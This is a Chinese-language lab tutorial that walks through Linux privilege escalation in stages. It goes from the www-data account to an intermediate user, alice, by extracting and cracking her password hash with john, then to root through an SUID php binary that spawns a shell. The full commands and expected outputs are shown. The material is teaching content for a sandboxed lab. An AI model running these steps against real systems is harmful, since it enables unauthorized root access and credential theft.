介绍
在本实验中,我们将学习在无法直接提升到 root 用户时,如何逐步提升权限至 root 用户。我们将通过首先提升到另一个普通用户,然后利用该用户的权限来提升到 root 用户来实现这一目标。这个中间用户被称为“垫脚石”用户。
本实验的目标是从 www-data 用户提升权限到 alice 用户,然后再从 alice 用户提升到 root 用户。
初始化实验室环境
在这一步骤中,我们将初始化实验环境。
首先,打开终端并导航到
/home/labex/project目录:cd /home/labex/project运行以下命令以设置实验所需的环境:
./env_setup.sh
该命令将下载并执行一个脚本,用于设置实验所需的环境。运行此命令后,你应该会被切换到 www-data 用户,模拟通过 Web 漏洞获取的初始 shell。
尝试 SUID 权限提升
在这一步骤中,我们将尝试使用 SUID(Set User ID)技术来提升权限。我们将搜索设置了 SUID 位的可执行文件,这些文件可以以文件所有者(在本例中为 root)的权限执行。
首先,让我们搜索
www-data用户可以访问的 SUID 可执行文件:find / -user root -perm -4000 -print 2> /dev/null > ~/www-data_suid_files.txt该命令将在整个文件系统中搜索由 root 用户拥有且设置了 SUID 位(权限模式为 4000)的文件。
运行命令后,你应该会在
www-data_suid_files.txt文件中看到一系列 SUID 可执行文件。让我们查看该文件的内容:cat ~/www-data_suid_files.txt
然而,在本例中,没有适合用于 SUID 权限提升的文件。
调查主目录
由于我们无法通过 SUID 技术提升权限,现在让我们调查主目录以寻找潜在的垫脚石用户。
首先,将
/home目录的内容保存到一个文件中以便进一步分析:ls -alh /home > ~/home_dir_contents.txt该命令将以长格式列出
/home目录的内容,包括文件大小和权限,并将其保存到home_dir_contents.txt文件中。接下来,让我们检查
home_dir_contents.txt文件的内容,以识别任何潜在的垫脚石用户:cat ~/home_dir_contents.txt你应该会在输出中看到一个名为
alice的目录,这表明系统中存在一个名为alice的用户。
尝试提升权限至 Alice 用户
由于 www-data 用户无法访问 alice 目录,我们需要先找到一种方法来提升权限至 alice 用户。
让我们检查
/etc/passwd文件以获取有关alice用户的信息:cat /etc/passwd | grep alice > ~/alice_info.txt检查
alice_info.txt文件的内容以查看alice用户的详细信息:cat ~/alice_info.txt预期输出:
alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bash在输出中,你应该会看到
alice用户的条目,包括密码哈希值。为了破解密码哈希值,我们可以使用
john工具。打开一个新的终端并运行以下命令:john ~/alice_info.txt > cracked_passwords.txt示例输出:
Created directory: /var/www/.john Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford Use the "--show" option to display all of the cracked passwords reliably Session completed这将启动密码破解过程。一旦密码被破解,你应该会在
cracked_passwords.txt文件中看到密码。cat ~/cracked_passwords.txt示例输出:
Loaded 1 password hash (md5crypt [MD5 32/64 X2]) beautiful (alice)在本例中,
alice用户的密码是beautiful。使用su命令切换到alice用户:su - alice在提示时输入我们之前破解的密码(
beautiful)。beautiful成功切换到
alice用户后,导航到alice目录并创建一个名为alice.txt的新文件:cd /home/alice创建一个名为
alice.txt的新文件:touch ~/alice.txt你现在应该可以访问
alice目录及其内容了。
以 Alice 用户身份尝试 SUID 权限提升
现在我们已经将权限提升至 alice 用户,让我们再次尝试 SUID 权限提升技术。
确保你位于
alice用户的主目录中:cd /home/alice运行以下命令以查找设置了 SUID 位的文件:
find / -user root -perm -4000 -print 2> /dev/null > alice_suid_files.txt检查
alice_suid_files.txt文件的内容以查看 SUID 文件列表:cat alice_suid_files.txt预期输出:
... /var/bin/php ...这次,你应该会在输出中看到一个可执行文件
/var/bin/php。该文件可用于 SUID 权限提升。为了将权限提升至 root 用户,运行以下命令:
/var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"该命令将执行一个 PHP 脚本,生成一个具有 root 权限的新 shell。
你现在应该拥有一个 root shell,终端中的
#提示符表示这一点。通过在根目录中创建一个文件来验证你是否拥有 root 权限:touch /root/root.txt如果文件创建时没有出现任何权限错误,说明你已成功使用 SUID 技术将权限提升至 root 用户。
了解目录权限的差异
你可能会好奇,为什么 alice 用户能够找到 SUID 可执行文件 php,而 www-data 用户却无法找到。答案在于目录权限。
在上一步之后,你应该仍然拥有一个 root 用户的 shell,如下所示:
sh-5.1#
让我们检查
/var/bin目录的权限并将输出保存到文件中:ls -lh /var > /root/var_permissions.txt检查
var_permissions.txt文件的内容以查看/var目录的权限:cat /root/var_permissions.txt预期输出:
total 0 ... drwxr-x--- 2 alice alice 17 Apr 15 03:48 bin ...在输出中,你应该会看到
/var/bin目录由alice用户和组拥有。其他用户没有对该目录的读、写或执行权限。
这意味着当我们提升到 alice 用户时,我们获得了对之前 www-data 用户无法访问的文件和目录的访问权限。这种权限差异使我们能够找到并利用 SUID 可执行文件进行权限提升。
总结
在本实验中,我们学习了如何在无法直接提升到 root 用户的情况下,通过先提升到 alice 用户(一个垫脚石用户),然后利用 alice 用户的权限来提升到 root 用户。
本实验的关键要点是始终注意用户之间的权限差异,因为这些差异有时可以被利用来进行权限提升。虽然我们在本实验中使用了一个简单的示例,但现实场景可能更加复杂,但核心原则保持不变:利用用户权限的差异来实现权限提升。



